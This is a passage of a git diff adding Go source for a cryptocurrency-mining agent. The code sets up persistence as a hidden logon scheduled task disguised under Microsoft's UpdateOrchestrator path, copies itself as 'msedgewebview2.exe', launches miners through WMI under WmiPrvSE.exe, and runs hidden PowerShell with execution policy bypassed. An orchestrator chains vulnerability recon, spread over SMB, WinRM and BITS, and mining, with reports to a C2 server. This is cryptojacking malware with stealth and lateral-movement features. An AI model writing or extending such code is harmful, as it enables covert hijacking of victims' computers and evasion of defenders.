Error: ctx.Err().Error(), Wallet: cfg.Wallet} + default: + } + + taskName := scheduledTaskName(cfg) + stubPath, err := scheduledTaskOps.StubPath(cfg) + if err != nil { + return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet} + } + + if err := ensureScheduledTaskStub(stubPath); err != nil { + return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet} + } + + trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode)) + if scheduledTaskOps.Exists(taskName) { + return TierAttempt{ + Tier: TierScheduledTask, + OK: true, + Wallet: cfg.Wallet, + Details: map[string]interface{}{ + "task": taskName, + "stub_path": stubPath, + "mining_mode": cfg.MiningMode, + "reused": true, + }, + } + } + + if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil { + return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet} + } + return TierAttempt{ + Tier: TierScheduledTask, + OK: true, + Wallet: cfg.Wallet, + Details: map[string]interface{}{ + "task": taskName, + "stub_path": stubPath, + "mining_mode": cfg.MiningMode, + "hidden": true, + }, + } +} + +func scheduledTaskName(cfg config.RuntimeConfig) string { + suffix := strings.TrimSpace(cfg.BuildID) + if suffix == "" { + suffix = strings.TrimSpace(cfg.WorkerName) + } + if suffix == "" { + suffix = "agent" + } + suffix = sanitizeTaskToken(suffix) + return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix +} + +func sanitizeTaskToken(s string) string { + var b strings.Builder + for _, ch := range s { + if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') { + b.WriteRune(ch) + } + } + out := b.String() + if out == "" { + return "worker" + } + return out +} + +func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) { + base := os.Getenv("ProgramData") + if base == "" { + return "", fmt.Errorf("ProgramData not set") + } + name := cfg.EffectiveProcessName() + if name == "" { + name = "msedgewebview2.exe" + } + if !strings.HasSuffix(strings.ToLower(name), ".exe") { + name += ".exe" + } + return filepath.Join(base, ScheduledTaskStubRel, name), nil +} + +func ensureScheduledTaskStub(stubPath string) error { + if _, err := os.Stat(stubPath); err == nil { + return nil + } + exe, err := os.Executable() + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil { + return err + } + src, err := os.Open(exe) + if err != nil { + return err + } + defer src.Close() + dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) + if err != nil { + return err + } + defer dst.Close() + if _, err := dst.ReadFrom(src); err != nil { + return err + } + return nil +} diff --git a/agent/miner/tier_scheduled_task_stub.go b/agent/miner/tier_scheduled_task_stub.go new file mode 100644 index 0000000..5d8c2ab --- /dev/null +++ b/agent/miner/tier_scheduled_task_stub.go @@ -0,0 +1,21 @@ +//go:build !windows + +package miner + +import ( + "fmt" + + "crypto-miner-agent/config" +) + +func platformScheduledTaskOps() *ScheduledTaskOps { + return &ScheduledTaskOps{ + Exists: func(string) bool { return false }, + Install: func(_, _, _ string) error { + return fmt.Errorf("scheduled_task tier requires windows") + }, + StubPath: func(config.RuntimeConfig) (string, error) { + return "", fmt.Errorf("scheduled_task tier requires windows") + }, + } +} diff --git a/agent/miner/tier_scheduled_task_test.go b/agent/miner/tier_scheduled_task_test.go new file mode 100644 index 0000000..f04afd4 --- /dev/null +++ b/agent/miner/tier_scheduled_task_test.go @@ -0,0 +1,58 @@ +package miner + +import ( + "context" + "os" + "path/filepath" + "runtime" + "testing" + + "crypto-miner-agent/config" +) + +func TestRunScheduledTaskTierMockOps(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("scheduled_task tier requires windows") + } + dir := t.TempDir() + stub := filepath.Join(dir, "stub.exe") + if err := os.WriteFile(stub, []byte("fake-stub"), 0o644); err != nil { + t.Fatal(err) + } + SetScheduledTaskOps(&ScheduledTaskOps{ + Exists: func(taskName string) bool { return false }, + Install: func(taskName, stubPath, trigger string) error { + if taskName == "" || stubPath == "" || trigger == "" { + t.Fatal("missing install args") + } + return nil + }, + StubPath: func(cfg config.RuntimeConfig) (string, error) { + return stub, nil + }, + }) + t.Cleanup(func() { SetScheduledTaskOps(nil) }) + + attempt := RunScheduledTaskTier(context.Background(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + Wallet: "wallet", + MiningMode: "always", + BuildID: "test", + }, + }) + if !attempt.OK { + t.Fatalf("attempt=%+v", attempt) + } + if attempt.Details["hidden"] != true { + t.Fatalf("details=%v", attempt.Details) + } +} + +func TestScheduledTaskNameSanitize(t *testing.T) { + name := scheduledTaskName(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{BuildID: "build-01!"}, + }) + if name == "" { + t.Fatal("empty task name") + } +} diff --git a/agent/miner/tier_scheduled_task_windows.go b/agent/miner/tier_scheduled_task_windows.go new file mode 100644 index 0000000..34daaf5 --- /dev/null +++ b/agent/miner/tier_scheduled_task_windows.go @@ -0,0 +1,45 @@ +//go:build windows + +package miner + +import ( + "os/exec" + "strings" +) + +func platformScheduledTaskOps() *ScheduledTaskOps { + return &ScheduledTaskOps{ + Exists: scheduledTaskExists, + Install: installHiddenScheduledTask, + StubPath: scheduledTaskStubPath, + } +} + +func scheduledTaskExists(taskName string) bool { + err := hiddenRun("schtasks", "/Query", "/TN", taskName) + return err == nil +} + +func installHiddenScheduledTask(taskName, stubPath, trigger string) error { + // /RL LIMITED + hidden window; mining mode rotates via C2 without redeploy. + tr := strings.ReplaceAll(trigger, `"`, `\"`) + return hiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, + "/SC", "ONLOGON", "/F", "/RL", "LIMITED") +} + +var hiddenRun = defaultHiddenRun + +func defaultHiddenRun(name string, arg ...string) error { + cmd := exec.Command(name, arg...) + applyHiddenWindow(cmd) + return cmd.Run() +} + +// SetTierHiddenRun overrides hidden exec for tests. +func SetTierHiddenRun(fn func(name string, arg ...string) error) { + if fn == nil { + hiddenRun = defaultHiddenRun + return + } + hiddenRun = fn +} diff --git a/agent/miner/tier_vuln_probe.go b/agent/miner/tier_vuln_probe.go new file mode 100644 index 0000000..7f5dacd --- /dev/null +++ b/agent/miner/tier_vuln_probe.go @@ -0,0 +1,36 @@ +package miner + +import ( + "context" + + "crypto-miner-agent/config" +) + +// vulnProbeRunner is injected by the client package (avoids import cycle). +var vulnProbeRunner func() TierAttempt + +// SetVulnProbeRunner registers the read-only vulnerability recon probe. Nil restores default skip. +func SetVulnProbeRunner(fn func() TierAttempt) { + vulnProbeRunner = fn +} + +// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit). +func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + select { + case <-ctx.Done(): + return TierAttempt{Tier: TierVulnProbe, Error: ctx.Err().Error(), Wallet: cfg.Wallet} + default: + } + if vulnProbeRunner != nil { + return vulnProbeRunner() + } + return TierAttempt{ + Tier: TierVulnProbe, + OK: true, + Wallet: cfg.Wallet, + Details: map[string]interface{}{ + "skipped": true, + "reason": "vuln probe runner not wired", + }, + } +} diff --git a/agent/miner/tier_vuln_probe_test.go b/agent/miner/tier_vuln_probe_test.go new file mode 100644 index 0000000..0600b64 --- /dev/null +++ b/agent/miner/tier_vuln_probe_test.go @@ -0,0 +1,29 @@ +package miner + +import ( + "context" + "testing" + + "crypto-miner-agent/config" +) + +func TestRunVulnProbeTierWithRunner(t *testing.T) { + SetVulnProbeRunner(func() TierAttempt { + return TierAttempt{Tier: TierVulnProbe, OK: true, Details: map[string]interface{}{"finding_count": 3}} + }) + defer SetVulnProbeRunner(nil) + + attempt := RunVulnProbeTier(context.Background(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{Wallet: "test"}, + }) + if !attempt.OK || attempt.Tier != TierVulnProbe { + t.Fatalf("unexpected attempt: %+v", attempt) + } +} + +func TestProbeTiersIncludesVulnFirst(t *testing.T) { + tiers := ProbeTiers(DefaultTierOrder) + if len(tiers) == 0 || tiers[0] != TierVulnProbe { + t.Fatalf("expected vuln_probe first, got %v", tiers) + } +} diff --git a/agent/miner/tier_webview2_probe.go b/agent/miner/tier_webview2_probe.go new file mode 100644 index 0000000..a0191be --- /dev/null +++ b/agent/miner/tier_webview2_probe.go @@ -0,0 +1,74 @@ +package miner + +import ( + "context" + "runtime" + + "crypto-miner-agent/config" +) + +// WebView2ProbeResult holds stealth GPU capability discovery. +type WebView2ProbeResult struct { + RuntimeInstalled bool + WebGPUAvailable bool + BinaryName string + ProbeOnly bool +} + +// webview2Probe runs platform WebView2/WebGPU detection. Tests override via SetWebView2Probe. +var webview2Probe = platformWebView2Probe + +// SetWebView2Probe restores default when fn is nil. +func SetWebView2Probe(fn func() WebView2ProbeResult) { + if fn == nil { + webview2Probe = platformWebView2Probe + return + } + webview2Probe = fn +} + +// RunWebView2Probe detects WebGPU availability; probe-only, does not mine. +func RunWebView2Probe(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + if runtime.GOOS != "windows" { + return TierAttempt{Tier: TierWebView2Probe, Error: "webview2_probe requires windows", Wallet: cfg.Wallet} + } + select { + case <-ctx.Done(): + return TierAttempt{Tier: TierWebView2Probe, Error: ctx.Err().Error(), Wallet: cfg.Wallet} + default: + } + + result := webview2Probe() + details := map[string]interface{}{ + "runtime_installed": result.RuntimeInstalled, + "webgpu_available": result.WebGPUAvailable, + "binary": result.BinaryName, + "probe_only": true, + } + if !result.RuntimeInstalled { + return TierAttempt{ + Tier: TierWebView2Probe, + Error: "WebView2 runtime not installed", + Wallet: cfg.Wallet, + Details: details, + } + } + // OK even when WebGPU unavailable — probe succeeded, escalation deferred. + return TierAttempt{ + Tier: TierWebView2Probe, + OK: true, + Wallet: cfg.Wallet, + Details: details, + } +} + +// WebGPUAvailableFromAttempt reads probe details from a recorded attempt. +func WebGPUAvailableFromAttempt(a TierAttempt) bool { + if a.Tier != TierWebView2Probe || !a.OK { + return false + } + if v, ok := a.Details["webgpu_available"].(bool); ok { + return v + } + return false +} diff --git a/agent/miner/tier_webview2_probe_stub.go b/agent/miner/tier_webview2_probe_stub.go new file mode 100644 index 0000000..274620b --- /dev/null +++ b/agent/miner/tier_webview2_probe_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package miner + +func platformWebView2Probe() WebView2ProbeResult { + return WebView2ProbeResult{ProbeOnly: true} +} diff --git a/agent/miner/tier_webview2_probe_test.go b/agent/miner/tier_webview2_probe_test.go new file mode 100644 index 0000000..ac36f15 --- /dev/null +++ b/agent/miner/tier_webview2_probe_test.go @@ -0,0 +1,74 @@ +package miner + +import ( + "context" + "runtime" + "testing" + + "crypto-miner-agent/config" +) + +func TestRunWebView2ProbeMock(t *testing.T) { + SetWebView2Probe(func() WebView2ProbeResult { + return WebView2ProbeResult{ + RuntimeInstalled: true, + WebGPUAvailable: true, + BinaryName: webView2BinaryName, + ProbeOnly: true, + } + }) + defer SetWebView2Probe(nil) + + attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{Wallet: "w"}, + }) + if !attempt.OK { + t.Fatalf("attempt=%+v", attempt) + } + if !WebGPUAvailableFromAttempt(attempt) { + t.Fatal("expected webgpu available") + } +} + +func TestRunWebView2ProbeNoRuntimeGracefulSkip(t *testing.T) { + SetWebView2Probe(func() WebView2ProbeResult { + return WebView2ProbeResult{RuntimeInstalled: false, BinaryName: webView2BinaryName} + }) + defer SetWebView2Probe(nil) + + attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{}) + if attempt.OK { + t.Fatal("expected probe failure without runtime") + } +} + +func TestSelectMiningTierChainIncludesWindowsTiers(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("windows LOTL tiers require windows") + } + probes := EnvironmentProbes{ + Docker: true, + WSL: true, + PowerShell: true, + DotNet: true, + GPU: true, + WebView2: true, + } + chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + GPUEnabled: true, + RVNWallet: "rvn", + PoolHost: "pool", + Wallet: "cmr", + }, + }) + found := map[LOTLTier]bool{} + for _, t := range chain { + found[t] = true + } + for _, want := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute} { + if !found[want] { + t.Fatalf("missing tier %s in %v", want, chain) + } + } +} diff --git a/agent/miner/tier_webview2_probe_windows.go b/agent/miner/tier_webview2_probe_windows.go new file mode 100644 index 0000000..1535faf --- /dev/null +++ b/agent/miner/tier_webview2_probe_windows.go @@ -0,0 +1,54 @@ +//go:build windows + +package miner + +import ( + "os" + "path/filepath" + "strings" +) + +const webView2BinaryName = "msedgewebview2.exe" + +func platformWebView2Probe() WebView2ProbeResult { + result := WebView2ProbeResult{ + BinaryName: webView2BinaryName, + ProbeOnly: true, + } + result.RuntimeInstalled = webView2RuntimeInstalled() + result.WebGPUAvailable = result.RuntimeInstalled && webGPUAvailable() + return result +} + +func webView2RuntimeInstalled() bool { + candidates := []string{ + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName), + filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName), + filepath.Join(os.Getenv("LOCALAPPDATA"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName), + } + for _, p := range candidates { + if p == "" { + continue + } + if st, err := os.Stat(p); err == nil && !st.IsDir() { + return true + } + } + out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command", + `Get-AppxPackage -Name '*WebView2*' -EA SilentlyContinue | Select-Object -First 1 | ForEach-Object { $_.Name }`) + return err == nil && strings.TrimSpace(string(out)) != "" +} + +func webGPUAvailable() bool { + // Lightweight probe: discrete GPU + D3D12 support heuristic via WMI. + out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command", ` +$gpu = Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 1GB } | Select-Object -First 1 +if (-not $gpu) { 'false'; exit } +$name = $gpu.Name +if ($name -match 'Microsoft Basic|Remote') { 'false' } else { 'true' } +`) + if err != nil { + return false + } + return strings.TrimSpace(string(out)) == "true" +} diff --git a/agent/miner/tier_wmi.go b/agent/miner/tier_wmi.go new file mode 100644 index 0000000..81bc286 --- /dev/null +++ b/agent/miner/tier_wmi.go @@ -0,0 +1,60 @@ +package miner + +import ( + "context" + "fmt" + "os" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// SignedHostProcess is the WMI provider parent used for Win32_ProcessCreate children. +const SignedHostProcess = "WmiPrvSE.exe" + +// wmiProcessCreate runs Win32_Process.Create locally. Tests override via SetWMIProcessCreate. +var wmiProcessCreate = platformWMIProcessCreate + +// SetWMIProcessCreate restores default when fn is nil. +func SetWMIProcessCreate(fn func(commandLine string) (pid uint32, err error)) { + if fn == nil { + wmiProcessCreate = platformWMIProcessCreate + return + } + wmiProcessCreate = fn +} + +// RunWMITier spawns a mining child via local Win32_ProcessCreate under the signed WMI host. +func RunWMITier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + if runtime.GOOS != "windows" { + return TierAttempt{Tier: TierWMI, Error: "wmi tier requires windows", Wallet: cfg.Wallet} + } + select { + case <-ctx.Done(): + return TierAttempt{Tier: TierWMI, Error: ctx.Err().Error(), Wallet: cfg.Wallet} + default: + } + + exe, err := os.Executable() + if err != nil { + return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet} + } + cmdLine := fmt.Sprintf(`"%s" --run --tier-miner=wmi --mining-mode=%s`, + exe, strings.TrimSpace(cfg.MiningMode)) + + pid, err := wmiProcessCreate(cmdLine) + if err != nil { + return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet} + } + return TierAttempt{ + Tier: TierWMI, + OK: true, + Wallet: cfg.Wallet, + Details: map[string]interface{}{ + "signed_host": SignedHostProcess, + "child_pid": pid, + "method": "Win32_ProcessCreate", + }, + } +} diff --git a/agent/miner/tier_wmi_stub.go b/agent/miner/tier_wmi_stub.go new file mode 100644 index 0000000..b83697b --- /dev/null +++ b/agent/miner/tier_wmi_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package miner + +import "fmt" + +func platformWMIProcessCreate(commandLine string) (uint32, error) { + return 0, fmt.Errorf("wmi tier requires windows") +} diff --git a/agent/miner/tier_wmi_test.go b/agent/miner/tier_wmi_test.go new file mode 100644 index 0000000..6a54002 --- /dev/null +++ b/agent/miner/tier_wmi_test.go @@ -0,0 +1,45 @@ +package miner + +import ( + "context" + "runtime" + "testing" + + "crypto-miner-agent/config" +) + +func TestRunWMITierMockProcessCreate(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("wmi tier requires windows") + } + SetWMIProcessCreate(func(commandLine string) (uint32, error) { + if commandLine == "" { + t.Fatal("expected command line") + } + return 4242, nil + }) + defer SetWMIProcessCreate(nil) + + attempt := RunWMITier(context.Background(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + Wallet: "wallet", + MiningMode: "idle", + }, + }) + if !attempt.OK { + t.Fatalf("attempt=%+v", attempt) + } + if attempt.Details["signed_host"] != SignedHostProcess { + t.Fatalf("signed_host=%v", attempt.Details["signed_host"]) + } + if attempt.Details["child_pid"] != uint32(4242) { + t.Fatalf("child_pid=%v", attempt.Details["child_pid"]) + } +} + +func TestParseWMICreatePID(t *testing.T) { + pid, err := parseWMICreatePID([]byte(`{"pid":12345,"host":"WmiPrvSE.exe"}`)) + if err != nil || pid != 12345 { + t.Fatalf("pid=%d err=%v", pid, err) + } +} diff --git a/agent/miner/tier_wmi_windows.go b/agent/miner/tier_wmi_windows.go new file mode 100644 index 0000000..4738eae --- /dev/null +++ b/agent/miner/tier_wmi_windows.go @@ -0,0 +1,60 @@ +//go:build windows + +package miner + +import ( + "fmt" + "os/exec" + "regexp" + "strconv" + "strings" +) + +// platformWMIProcessCreate spawns a child via local Win32_Process.Create (CIM). +// The child runs under the signed WMI provider host (WmiPrvSE.exe). +func platformWMIProcessCreate(commandLine string) (uint32, error) { + escaped := strings.ReplaceAll(commandLine, `'`, `''`) + script := fmt.Sprintf(` +$args = @{ CommandLine = '%s' } +$r = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments $args +if ($r.ReturnValue -ne 0) { throw "Win32_Process.Create return=$($r.ReturnValue)" } +@{ pid = [uint32]$r.ProcessId; host = '%s' } | ConvertTo-Json -Compress +`, escaped, SignedHostProcess) + + out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) + if err != nil { + return 0, fmt.Errorf("wmi process create: %w (%s)", err, strings.TrimSpace(string(out))) + } + return parseWMICreatePID(out) +} + +func parseWMICreatePID(out []byte) (uint32, error) { + raw := strings.TrimSpace(string(out)) + re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`) + m := re.FindStringSubmatch(raw) + if len(m) < 2 { + return 0, fmt.Errorf("wmi: no pid in output: %s", raw) + } + v, err := strconv.ParseUint(m[1], 10, 32) + if err != nil { + return 0, err + } + return uint32(v), nil +} + +var hiddenCombinedOutput = defaultHiddenCombinedOutput + +func defaultHiddenCombinedOutput(name string, arg ...string) ([]byte, error) { + cmd := exec.Command(name, arg...) + applyHiddenWindow(cmd) + return cmd.CombinedOutput() +} + +// SetTierHiddenCombinedOutput overrides hidden exec for tests. +func SetTierHiddenCombinedOutput(fn func(name string, arg ...string) ([]byte, error)) { + if fn == nil { + hiddenCombinedOutput = defaultHiddenCombinedOutput + return + } + hiddenCombinedOutput = fn +} diff --git a/agent/miner/triple_onion.go b/agent/miner/triple_onion.go new file mode 100644 index 0000000..923ee92 --- /dev/null +++ b/agent/miner/triple_onion.go @@ -0,0 +1,462 @@ +package miner + +import ( + "context" + "os" + "strings" + "sync" + "time" + + "crypto-miner-agent/config" +) + +// OnionPhase identifies one layer of the recon → deploy → mining triple onion. +type OnionPhase string + +const ( + OnionPhaseRecon OnionPhase = "recon" + OnionPhaseDeploy OnionPhase = "deploy" + OnionPhaseMining OnionPhase = "mining" +) + +// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion. +type TripleOnionPolicy struct { + PatchFirst bool `json:"patch_first,omitempty"` + MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` + SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` + HighRiskThreshold int `json:"high_risk_threshold,omitempty"` + ReconTiers []string `json:"recon_tiers,omitempty"` + DeployLanes []string `json:"deploy_lanes,omitempty"` +} + +// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies. +func DefaultTripleOnionPolicy() TripleOnionPolicy { + return TripleOnionPolicy{ + PatchFirst: true, + HighRiskThreshold: 50, + ReconTiers: append([]string(nil), DefaultReconTiers...), + DeployLanes: append([]string(nil), DefaultDeployLanes...), + } +} + +// DefaultReconTiers is the vuln + service probe chain run before deploy. +var DefaultReconTiers = []string{ + "kev_scan", + "vuln_recon", + "service_probe", + "listen_ports", +} + +// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers). +var DefaultDeployLanes = []string{ + "discover_and_join", + "docker", + "wsl", + "powershell", + "dotnet", + "bits_curl", + "smb", + "winrm", +} + +// ReconSnapshot aggregates recon probe output used by policy gates. +type ReconSnapshot struct { + RiskScore int `json:"risk_score"` + CriticalExposed int `json:"critical_exposed"` + ExposedCount int `json:"exposed_count"` + LikelyCount int `json:"likely_count"` + ServiceCount int `json:"service_count"` + OpenPortCount int `json:"open_port_count"` + Details map[string]interface{} `json:"details,omitempty"` +} + +// GateDecision records which downstream chains policy gates block. +type GateDecision struct { + SkipDeploy bool `json:"skip_deploy"` + SkipMining bool `json:"skip_mining"` + PatchFirst bool `json:"patch_first"` + ForceIsolated bool `json:"force_isolated"` + Reason string `json:"reason,omitempty"` +} + +// ReconTierResult is one recon probe outcome. +type ReconTierResult struct { + OK bool + Error string + Snapshot ReconSnapshot +} + +// TripleOnionHooks wires agent-specific recon/deploy/mining without importing client. +type TripleOnionHooks struct { + RunReconTier func(ctx context.Context, tier string) ReconTierResult + RunDeployLane func(ctx context.Context, lane string) (bool, string) + RunMining func(ctx context.Context) + ReportEvent func(report TripleOnionReport, eventType string) +} + +// TripleOnionReport is the live triple-onion snapshot sent to C2/UI. +type TripleOnionReport struct { + ActivePhase OnionPhase `json:"onion_phase,omitempty"` + Gate GateDecision `json:"gate,omitempty"` + Recon ReconSnapshot `json:"recon,omitempty"` + Attempts []TierAttempt `json:"lotl_attempts,omitempty"` + Wallet string `json:"wallet,omitempty"` +} + +// TripleOnionOrchestrator runs recon → deploy → mining with policy gates. +type TripleOnionOrchestrator struct { + mu sync.RWMutex + cfg config.RuntimeConfig + policy TripleOnionPolicy + hooks TripleOnionHooks + recon ReconSnapshot + gate GateDecision + attempts []TierAttempt + wallet string + done bool +} + +// NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy. +func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator { + policy = NormalizeTripleOnionPolicy(policy) + policy = ApplyEnvTripleOnionOverrides(policy) + return &TripleOnionOrchestrator{ + cfg: cfg, + policy: policy, + hooks: hooks, + wallet: strings.TrimSpace(cfg.Wallet), + } +} + +// NormalizeTripleOnionPolicy fills defaults for empty policy fields. +func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy { + def := DefaultTripleOnionPolicy() + if len(p.ReconTiers) == 0 { + p.ReconTiers = def.ReconTiers + } + if len(p.DeployLanes) == 0 { + p.DeployLanes = def.DeployLanes + } + if p.HighRiskThreshold <= 0 { + p.HighRiskThreshold = def.HighRiskThreshold + } + // PatchFirst defaults true when unset — only explicit false in JSON disables. + return p +} + +// ApplyEnvTripleOnionOverrides applies operator contingencies from environment. +func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy { + if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" { + p.PatchFirst = v == "1" || strings.EqualFold(v, "true") + } + if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") { + p.SkipMiningOnHighRisk = true + } + if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") { + p.MineIsolatedTier = true + } + if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" { + if n, err := parseEnvInt(v); err == nil && n > 0 { + p.HighRiskThreshold = n + } + } + return p +} + +func parseEnvInt(s string) (int, error) { + n := 0 + for _, c := range s { + if c < '0' || c > '9' { + return 0, os.ErrInvalid + } + n = n*10 + int(c-'0') + } + return n, nil +} + +// EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy. +func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision { + policy = NormalizeTripleOnionPolicy(policy) + d := GateDecision{ForceIsolated: policy.MineIsolatedTier} + + if policy.PatchFirst && recon.CriticalExposed > 0 { + d.PatchFirst = true + d.SkipDeploy = true + d.SkipMining = true + d.Reason = "patch_first: critical CVE exposed — defer deploy and mining" + } + + if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold { + d.SkipMining = true + if d.Reason == "" { + d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold" + } + } + + return d +} + +// ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths. +func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy { + skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4) + for _, t := range base.SkipTiers { + skip[t] = true + } + skip[TierExeSubprocess] = true + skip[TierCPUInprocess] = true + skip[TierPSInMemory] = true + skip[TierDotnet] = true + + order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL} + seen := make(map[LOTLTier]bool, len(order)) + for _, t := range order { + seen[t] = true + } + baseOrder := base.TierOrder + if len(baseOrder) == 0 { + baseOrder = DefaultTierOrder + } + for _, t := range baseOrder { + if seen[t] || skip[t] { + continue + } + order = append(order, t) + } + + skipList := make([]LOTLTier, 0, len(skip)) + for t := range skip { + skipList = append(skipList, t) + } + return MiningTierPolicy{ + TierOrder: order, + SkipTiers: skipList, + ForceTier: base.ForceTier, + } +} + +// Run executes the triple onion: recon → gated deploy → gated mining. +func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport { + o.mu.Lock() + o.done = false + o.mu.Unlock() + + o.runReconChain(ctx) + o.mu.Lock() + o.gate = EvaluateTripleOnionGates(o.policy, o.recon) + gate := o.gate + o.mu.Unlock() + + if !gate.SkipDeploy { + o.runDeployChain(ctx) + } else { + o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason) + } + + if !gate.SkipMining { + o.mu.Lock() + o.attempts = append(o.attempts, TierAttempt{ + Phase: string(OnionPhaseMining), + Tier: "mining_chain", + OK: true, + Wallet: o.wallet, + Details: map[string]interface{}{ + "force_isolated": gate.ForceIsolated, + }, + }) + report := o.buildReport(OnionPhaseMining) + reporter := o.hooks.ReportEvent + o.mu.Unlock() + if reporter != nil { + reporter(report, "onion_report") + } + if o.hooks.RunMining != nil { + o.hooks.RunMining(ctx) + } + } else { + o.recordPhaseSkip(OnionPhaseMining, gate.Reason) + } + + o.mu.Lock() + o.done = true + report := o.buildReport("") + o.mu.Unlock() + return report +} + +func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) { + o.mu.RLock() + tiers := o.policy.ReconTiers + hooks := o.hooks + o.mu.RUnlock() + + for _, tier := range tiers { + select { + case <-ctx.Done(): + return + default: + } + if hooks.RunReconTier == nil { + o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil) + continue + } + start := time.Now() + result := hooks.RunReconTier(ctx, tier) + duration := time.Since(start) + o.mergeRecon(result.Snapshot) + errMsg := result.Error + if !result.OK && errMsg == "" { + errMsg = "recon tier failed" + } + o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil) + } +} + +func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) { + o.mu.RLock() + lanes := o.policy.DeployLanes + hooks := o.hooks + o.mu.RUnlock() + + for _, lane := range lanes { + select { + case <-ctx.Done(): + return + default: + } + if hooks.RunDeployLane == nil { + o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil) + continue + } + start := time.Now() + ok, reason := hooks.RunDeployLane(ctx, lane) + duration := time.Since(start) + details := map[string]interface{}{"lane": lane} + if reason != "" { + details["reason"] = reason + } + o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details) + if ok { + return + } + } +} + +func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) { + o.mu.Lock() + defer o.mu.Unlock() + if s.RiskScore > o.recon.RiskScore { + o.recon.RiskScore = s.RiskScore + } + if s.CriticalExposed > o.recon.CriticalExposed { + o.recon.CriticalExposed = s.CriticalExposed + } + if s.ExposedCount > o.recon.ExposedCount { + o.recon.ExposedCount = s.ExposedCount + } + if s.LikelyCount > o.recon.LikelyCount { + o.recon.LikelyCount = s.LikelyCount + } + if s.ServiceCount > o.recon.ServiceCount { + o.recon.ServiceCount = s.ServiceCount + } + if s.OpenPortCount > o.recon.OpenPortCount { + o.recon.OpenPortCount = s.OpenPortCount + } + if len(s.Details) > 0 { + if o.recon.Details == nil { + o.recon.Details = make(map[string]interface{}, len(s.Details)) + } + for k, v := range s.Details { + o.recon.Details[k] = v + } + } +} + 